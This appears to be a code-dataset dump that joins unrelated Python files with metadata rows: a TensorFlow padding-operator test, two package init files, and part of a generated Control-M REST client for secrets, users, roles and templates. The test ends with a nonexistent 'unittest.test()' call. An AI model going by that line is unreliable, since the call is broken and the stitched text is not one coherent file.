padded_shape[-3] -= self.padding[4] + self.padding[5]
padded_shape[-2] -= self.padding[2] + self.padding[3]
padded_shape[-1] -= self.padding[0] + self.padding[1]
padded_shape = tf.stack(padded_shape)
self.pre_pad_shape = new_shape
self.post_pad_shape = padded_shape
class TestPad(unittest.TestCase):
def test2d(self):
shape = (5, 2, 10, 10)
x = tf.random.normal(shape)
padding = [2, 2, 4, 4]
op = Pad2d(padding=padding, mode='symmetric', channel_last=False)
Kx = op(x)
# manually construct new shape
new_shape = list(x.shape)
new_shape[-1] += padding[0] + padding[1]
new_shape[-2] += padding[2] + padding[3]
new_shape = tuple(new_shape)
self.assertTrue(new_shape == Kx.shape)
def test2d_complex(self):
shape = (5, 2, 10, 10)
x = tf.complex(tf.random.normal(shape), tf.random.normal(shape))
padding = [2, 2, 4, 4]
op = Pad2d(padding=padding, mode='symmetric', channel_last=False)
Kx = op(x)
# manually construct new shape
new_shape = list(x.shape)
new_shape[-1] += padding[0] + padding[1]
new_shape[-2] += padding[2] + padding[3]
new_shape = tuple(new_shape)
self.assertTrue(new_shape == Kx.shape)
def test2d_channel_last(self):
shape = (5, 10, 10, 2)
x = tf.random.normal(shape)
padding = [2, 2, 4, 4]
op = Pad2d(padding=padding, mode='symmetric', channel_last=True)
Kx = op(x)
# manually construct new shape
new_shape = list(x.shape)
new_shape[-2] += padding[0] + padding[1]
new_shape[-3] += padding[2] + padding[3]
new_shape = tuple(new_shape)
self.assertTrue(new_shape == Kx.shape)
def test3d(self):
shape = (5, 2, 8, 10, 10)
x = tf.random.normal(shape)
padding = [2, 2, 4, 4, 1, 1]
op = Pad3d(padding=padding, mode='symmetric', channel_last=False)
Kx = op(x)
# manually construct new shape
new_shape = list(x.shape)
new_shape[-1] += padding[0] + padding[1]
new_shape[-2] += padding[2] + padding[3]
new_shape[-3] += padding[4] + padding[5]
new_shape = tuple(new_shape)
self.assertTrue(new_shape == Kx.shape)
def test3d_complex(self):
shape = (5, 2, 8, 10, 10)
x = tf.complex(tf.random.normal(shape), tf.random.normal(shape))
padding = [2, 2, 4, 4, 1, 1]
op = Pad3d(padding=padding, mode='symmetric', channel_last=False)
Kx = op(x)
# manually construct new shape
new_shape = list(x.shape)
new_shape[-1] += padding[0] + padding[1]
new_shape[-2] += padding[2] + padding[3]
new_shape[-3] += padding[4] + padding[5]
new_shape = tuple(new_shape)
self.assertTrue(new_shape == Kx.shape)
def test3d_channel_last(self):
shape = (5, 8, 10, 10, 2)
x = tf.random.normal(shape)
padding = [2, 2, 4, 4, 1, 2]
op = Pad3d(padding=padding, mode='symmetric', channel_last=True)
Kx = op(x)
# manually construct new shape
new_shape = list(x.shape)
new_shape[-2] += padding[0] + padding[1]
new_shape[-3] += padding[2] + padding[3]
new_shape[-4] += padding[4] + padding[5]
new_shape = tuple(new_shape)
self.assertTrue(new_shape == Kx.shape)
def test2d_transpose(self):
shape = (5, 2, 10, 10)
x = tf.random.normal(shape)
padding = [2, 2, 4, 4]
op = Pad2dTranspose(padding=padding, mode='symmetric', channel_last=False)
Kx = op(x)
# manually construct new shape
new_shape = list(x.shape)
new_shape[-1] -= padding[0] + padding[1]
new_shape[-2] -= padding[2] + padding[3]
new_shape = tuple(new_shape)
self.assertTrue(new_shape == Kx.shape)
def test2d_complex_transpose(self):
shape = (5, 2, 10, 10)
x = tf.complex(tf.random.normal(shape), tf.random.normal(shape))
padding = [2, 2, 4, 4]
op = Pad2dTranspose(padding=padding, mode='symmetric', channel_last=False)
Kx = op(x)
# manually construct new shape
new_shape = list(x.shape)
new_shape[-1] -= padding[0] + padding[1]
new_shape[-2] -= padding[2] + padding[3]
new_shape = tuple(new_shape)
self.assertTrue(new_shape == Kx.shape)
def test2d_channel_last_transpose(self):
shape = (5, 10, 10, 2)
x = tf.random.normal(shape)
padding = [2, 2, 4, 4]
op = Pad2dTranspose(padding=padding, mode='symmetric', channel_last=True)
Kx = op(x)
# manually construct new shape
new_shape = list(x.shape)
new_shape[-2] -= padding[0] + padding[1]
new_shape[-3] -= padding[2] + padding[3]
new_shape = tuple(new_shape)
self.assertTrue(new_shape == Kx.shape)
def test3d_transpose(self):
shape = (5, 2, 8, 10, 10)
x = tf.random.normal(shape)
padding = [2, 2, 4, 4, 1, 1]
op = Pad3dTranspose(padding=padding, mode='symmetric', channel_last=False)
Kx = op(x)
# manually construct new shape
new_shape = list(x.shape)
new_shape[-1] -= padding[0] + padding[1]
new_shape[-2] -= padding[2] + padding[3]
new_shape[-3] -= padding[4] + padding[5]
new_shape = tuple(new_shape)
self.assertTrue(new_shape == Kx.shape)
def test3d_complex_transpose(self):
shape = (5, 2, 8, 10, 10)
x = tf.complex(tf.random.normal(shape), tf.random.normal(shape))
padding = [2, 2, 4, 4, 1, 1]
op = Pad3dTranspose(padding=padding, mode='symmetric', channel_last=False)
Kx = op(x)
# manually construct new shape
new_shape = list(x.shape)
new_shape[-1] -= padding[0] + padding[1]
new_shape[-2] -= padding[2] + padding[3]
new_shape[-3] -= padding[4] + padding[5]
new_shape = tuple(new_shape)
self.assertTrue(new_shape == Kx.shape)
def test3d_channel_last_transpose(self):
shape = (5, 8, 10, 10, 2)
x = tf.random.normal(shape)
padding = [2, 2, 4, 4, 1, 2]
op = Pad3dTranspose(padding=padding, mode='symmetric', channel_last=True)
Kx = op(x)
# manually construct new shape
new_shape = list(x.shape)
new_shape[-2] -= padding[0] + padding[1]
new_shape[-3] -= padding[2] + padding[3]
new_shape[-4] -= padding[4] + padding[5]
new_shape = tuple(new_shape)
self.assertTrue(new_shape == Kx.shape)
if __name__ == "__main__":
unittest.test() | 35.778462 | 208 | 0.590815 | 1,646 | 11,628 | 4.008505 | 0.051033 | 0.128524 | 0.055168 | 0.046075 | 0.975902 | 0.975144 | 0.972416 | 0.972416 | 0.969536 | 0.966808 | 0 | 0.043799 | 0.265652 | 11,628 | 325 | 209 | 35.778462 | 0.728891 | 0.03397 | 0 | 0.818182 | 0 | 0 | 0.01034 | 0 | 0 | 0 | 0 | 0 | 0.049587 | 1 | 0.090909 | false | 0 | 0.012397 | 0 | 0.140496 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
1cc13d92f793bce6534055d364bb862b21fdaf19 | 197 | py | Python | hospital_logfile_analyzer/parsers/__init__.py | pavlodyban/cloverleaf_parser | a65b68d4116d219793e5c19ab4ac6e9125d388eb | [
"MIT"
] | 5 | 2020-02-03T10:19:47.000Z | 2020-12-25T14:04:25.000Z | hospital_logfile_analyzer/parsers/__init__.py | pavlodyban/cloverleaf_parser | a65b68d4116d219793e5c19ab4ac6e9125d388eb | [
"MIT"
] | 2 | 2020-06-15T19:52:10.000Z | 2020-06-23T18:56:54.000Z | hospital_logfile_analyzer/parsers/__init__.py | pavlodyban/cloverleaf_parser | a65b68d4116d219793e5c19ab4ac6e9125d388eb | [
"MIT"
] | 2 | 2020-06-15T19:27:18.000Z | 2020-10-29T10:33:56.000Z | # classes
from .logfile_parser import LogfileParser
from .cloverleaf_parser import CloverleafLogfileParser
# convenience functions
from .cloverleaf_parser import parse, verify_file, write_to_json
| 28.142857 | 64 | 0.862944 | 23 | 197 | 7.130435 | 0.695652 | 0.219512 | 0.243902 | 0.317073 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.101523 | 197 | 6 | 65 | 32.833333 | 0.926554 | 0.147208 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
1cc7435ed665fbd8e06191c2492f54edf68d794a | 48 | py | Python | BBNX/HCLib/__init__.py | nikitakuklev/ADRNX | b8a07f50788bbbfd36a8f956ca70cf8ed2bd95ee | [
"Apache-2.0"
] | null | null | null | BBNX/HCLib/__init__.py | nikitakuklev/ADRNX | b8a07f50788bbbfd36a8f956ca70cf8ed2bd95ee | [
"Apache-2.0"
] | null | null | null | BBNX/HCLib/__init__.py | nikitakuklev/ADRNX | b8a07f50788bbbfd36a8f956ca70cf8ed2bd95ee | [
"Apache-2.0"
] | null | null | null | from . import HeaterController
from . import PID | 24 | 30 | 0.8125 | 6 | 48 | 6.5 | 0.666667 | 0.512821 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.145833 | 48 | 2 | 31 | 24 | 0.95122 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
1cd68982e13d887bccb84a40137f38fe7f262fd4 | 278,489 | py | Python | ctm_saas_client/api/config_api.py | tadinve/ctm_python_client | de44e5012214ec42bb99b7f9b4ebc5394cd14328 | [
"BSD-3-Clause"
] | null | null | null | ctm_saas_client/api/config_api.py | tadinve/ctm_python_client | de44e5012214ec42bb99b7f9b4ebc5394cd14328 | [
"BSD-3-Clause"
] | null | null | null | ctm_saas_client/api/config_api.py | tadinve/ctm_python_client | de44e5012214ec42bb99b7f9b4ebc5394cd14328 | [
"BSD-3-Clause"
] | null | null | null | # coding: utf-8
"""
Control-M Services
Provides access to BMC Control-M Services # noqa: E501
OpenAPI spec version: 9.20.30
Contact: customer_support@bmc.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from ctm_saas_client.api_client import ApiClient
class ConfigApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def add_host_to_hostgroup(self, server, hostgroup, agent, **kwargs): # noqa: E501
"""add agent to hostgroup # noqa: E501
Add an agent to hostgroup. Create the the hostgroup if it does not exist. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.add_host_to_hostgroup(server, hostgroup, agent, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server the hostgroup belongs to. (required)
:param str hostgroup: The hostgroup name (required)
:param AgentInHostgroup agent: The hostname of the new agent (required)
:return: AgentsInGroupSuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.add_host_to_hostgroup_with_http_info(server, hostgroup, agent, **kwargs) # noqa: E501
else:
(data) = self.add_host_to_hostgroup_with_http_info(server, hostgroup, agent, **kwargs) # noqa: E501
return data
def add_host_to_hostgroup_with_http_info(self, server, hostgroup, agent, **kwargs): # noqa: E501
"""add agent to hostgroup # noqa: E501
Add an agent to hostgroup. Create the the hostgroup if it does not exist. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.add_host_to_hostgroup_with_http_info(server, hostgroup, agent, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server the hostgroup belongs to. (required)
:param str hostgroup: The hostgroup name (required)
:param AgentInHostgroup agent: The hostname of the new agent (required)
:return: AgentsInGroupSuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'hostgroup', 'agent'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method add_host_to_hostgroup" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `add_host_to_hostgroup`") # noqa: E501
# verify the required parameter 'hostgroup' is set
if self.api_client.client_side_validation and ('hostgroup' not in params or
params['hostgroup'] is None): # noqa: E501
raise ValueError("Missing the required parameter `hostgroup` when calling `add_host_to_hostgroup`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `add_host_to_hostgroup`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'hostgroup' in params:
path_params['hostgroup'] = params['hostgroup'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'agent' in params:
body_params = params['agent']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/hostgroup/{hostgroup}/agent', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='AgentsInGroupSuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def add_pgp_template(self, server, agent, template_name, pgp_template_data, **kwargs): # noqa: E501
"""Add PGP Template # noqa: E501
Add PGP Template # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.add_pgp_template(server, agent, template_name, pgp_template_data, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param str template_name: The PGP Template Name (required)
:param PgpTemplateData pgp_template_data: PGP Template Data (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.add_pgp_template_with_http_info(server, agent, template_name, pgp_template_data, **kwargs) # noqa: E501
else:
(data) = self.add_pgp_template_with_http_info(server, agent, template_name, pgp_template_data, **kwargs) # noqa: E501
return data
def add_pgp_template_with_http_info(self, server, agent, template_name, pgp_template_data, **kwargs): # noqa: E501
"""Add PGP Template # noqa: E501
Add PGP Template # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.add_pgp_template_with_http_info(server, agent, template_name, pgp_template_data, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param str template_name: The PGP Template Name (required)
:param PgpTemplateData pgp_template_data: PGP Template Data (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent', 'template_name', 'pgp_template_data'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method add_pgp_template" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `add_pgp_template`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `add_pgp_template`") # noqa: E501
# verify the required parameter 'template_name' is set
if self.api_client.client_side_validation and ('template_name' not in params or
params['template_name'] is None): # noqa: E501
raise ValueError("Missing the required parameter `template_name` when calling `add_pgp_template`") # noqa: E501
# verify the required parameter 'pgp_template_data' is set
if self.api_client.client_side_validation and ('pgp_template_data' not in params or
params['pgp_template_data'] is None): # noqa: E501
raise ValueError("Missing the required parameter `pgp_template_data` when calling `add_pgp_template`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
if 'template_name' in params:
path_params['templateName'] = params['template_name'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'pgp_template_data' in params:
body_params = params['pgp_template_data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/agent/{agent}/mft/pgptemplate/{templateName}', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def add_role(self, role_file, **kwargs): # noqa: E501
"""Add Authorization Role # noqa: E501
Add Authorization Role # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.add_role(role_file, async_req=True)
>>> result = thread.get()
:param async_req bool
:param file role_file: File with contenet of Role Data. (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.add_role_with_http_info(role_file, **kwargs) # noqa: E501
else:
(data) = self.add_role_with_http_info(role_file, **kwargs) # noqa: E501
return data
def add_role_with_http_info(self, role_file, **kwargs): # noqa: E501
"""Add Authorization Role # noqa: E501
Add Authorization Role # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.add_role_with_http_info(role_file, async_req=True)
>>> result = thread.get()
:param async_req bool
:param file role_file: File with contenet of Role Data. (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['role_file'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method add_role" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'role_file' is set
if self.api_client.client_side_validation and ('role_file' not in params or
params['role_file'] is None): # noqa: E501
raise ValueError("Missing the required parameter `role_file` when calling `add_role`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
if 'role_file' in params:
local_var_files['roleFile'] = params['role_file'] # noqa: E501
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['multipart/form-data']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/authorization/role', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def add_role_to_ldap_group(self, ldapgroup, role, **kwargs): # noqa: E501
"""Add a role to LDAP group # noqa: E501
Add a role to LDAP group so any user belong to the LDAP group will get all permissions defined in the role # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.add_role_to_ldap_group(ldapgroup, role, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str ldapgroup: Name of LDAP group (required)
:param str role: Name of role (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.add_role_to_ldap_group_with_http_info(ldapgroup, role, **kwargs) # noqa: E501
else:
(data) = self.add_role_to_ldap_group_with_http_info(ldapgroup, role, **kwargs) # noqa: E501
return data
def add_role_to_ldap_group_with_http_info(self, ldapgroup, role, **kwargs): # noqa: E501
"""Add a role to LDAP group # noqa: E501
Add a role to LDAP group so any user belong to the LDAP group will get all permissions defined in the role # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.add_role_to_ldap_group_with_http_info(ldapgroup, role, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str ldapgroup: Name of LDAP group (required)
:param str role: Name of role (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['ldapgroup', 'role'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method add_role_to_ldap_group" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'ldapgroup' is set
if self.api_client.client_side_validation and ('ldapgroup' not in params or
params['ldapgroup'] is None): # noqa: E501
raise ValueError("Missing the required parameter `ldapgroup` when calling `add_role_to_ldap_group`") # noqa: E501
# verify the required parameter 'role' is set
if self.api_client.client_side_validation and ('role' not in params or
params['role'] is None): # noqa: E501
raise ValueError("Missing the required parameter `role` when calling `add_role_to_ldap_group`") # noqa: E501
collection_formats = {}
path_params = {}
if 'ldapgroup' in params:
path_params['ldapgroup'] = params['ldapgroup'] # noqa: E501
if 'role' in params:
path_params['role'] = params['role'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/authorization/ldap/{ldapgroup}/role/{role}', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def add_secret(self, name_value, **kwargs): # noqa: E501
"""Add a new secret # noqa: E501
Add a new secret to the secrets vault. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.add_secret(name_value, async_req=True)
>>> result = thread.get()
:param async_req bool
:param SecretKeyValue name_value: The new secret value (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.add_secret_with_http_info(name_value, **kwargs) # noqa: E501
else:
(data) = self.add_secret_with_http_info(name_value, **kwargs) # noqa: E501
return data
def add_secret_with_http_info(self, name_value, **kwargs): # noqa: E501
"""Add a new secret # noqa: E501
Add a new secret to the secrets vault. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.add_secret_with_http_info(name_value, async_req=True)
>>> result = thread.get()
:param async_req bool
:param SecretKeyValue name_value: The new secret value (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['name_value'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method add_secret" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'name_value' is set
if self.api_client.client_side_validation and ('name_value' not in params or
params['name_value'] is None): # noqa: E501
raise ValueError("Missing the required parameter `name_value` when calling `add_secret`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'name_value' in params:
body_params = params['name_value']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/secret', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def add_user(self, user_file, **kwargs): # noqa: E501
"""Add user # noqa: E501
Add user # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.add_user(user_file, async_req=True)
>>> result = thread.get()
:param async_req bool
:param file user_file: File with contenet of user data. (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.add_user_with_http_info(user_file, **kwargs) # noqa: E501
else:
(data) = self.add_user_with_http_info(user_file, **kwargs) # noqa: E501
return data
def add_user_with_http_info(self, user_file, **kwargs): # noqa: E501
"""Add user # noqa: E501
Add user # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.add_user_with_http_info(user_file, async_req=True)
>>> result = thread.get()
:param async_req bool
:param file user_file: File with contenet of user data. (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['user_file'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method add_user" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'user_file' is set
if self.api_client.client_side_validation and ('user_file' not in params or
params['user_file'] is None): # noqa: E501
raise ValueError("Missing the required parameter `user_file` when calling `add_user`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
if 'user_file' in params:
local_var_files['userFile'] = params['user_file'] # noqa: E501
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['multipart/form-data']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/authorization/user', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def add_zos_template(self, server, agent, template_name, zos_template_data, **kwargs): # noqa: E501
"""Add z/OS Template # noqa: E501
Add z/OS Template # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.add_zos_template(server, agent, template_name, zos_template_data, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param str template_name: The z/OS Template Name (required)
:param ZosTemplateData zos_template_data: z/OS Template Data (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.add_zos_template_with_http_info(server, agent, template_name, zos_template_data, **kwargs) # noqa: E501
else:
(data) = self.add_zos_template_with_http_info(server, agent, template_name, zos_template_data, **kwargs) # noqa: E501
return data
def add_zos_template_with_http_info(self, server, agent, template_name, zos_template_data, **kwargs): # noqa: E501
"""Add z/OS Template # noqa: E501
Add z/OS Template # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.add_zos_template_with_http_info(server, agent, template_name, zos_template_data, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param str template_name: The z/OS Template Name (required)
:param ZosTemplateData zos_template_data: z/OS Template Data (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent', 'template_name', 'zos_template_data'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method add_zos_template" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `add_zos_template`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `add_zos_template`") # noqa: E501
# verify the required parameter 'template_name' is set
if self.api_client.client_side_validation and ('template_name' not in params or
params['template_name'] is None): # noqa: E501
raise ValueError("Missing the required parameter `template_name` when calling `add_zos_template`") # noqa: E501
# verify the required parameter 'zos_template_data' is set
if self.api_client.client_side_validation and ('zos_template_data' not in params or
params['zos_template_data'] is None): # noqa: E501
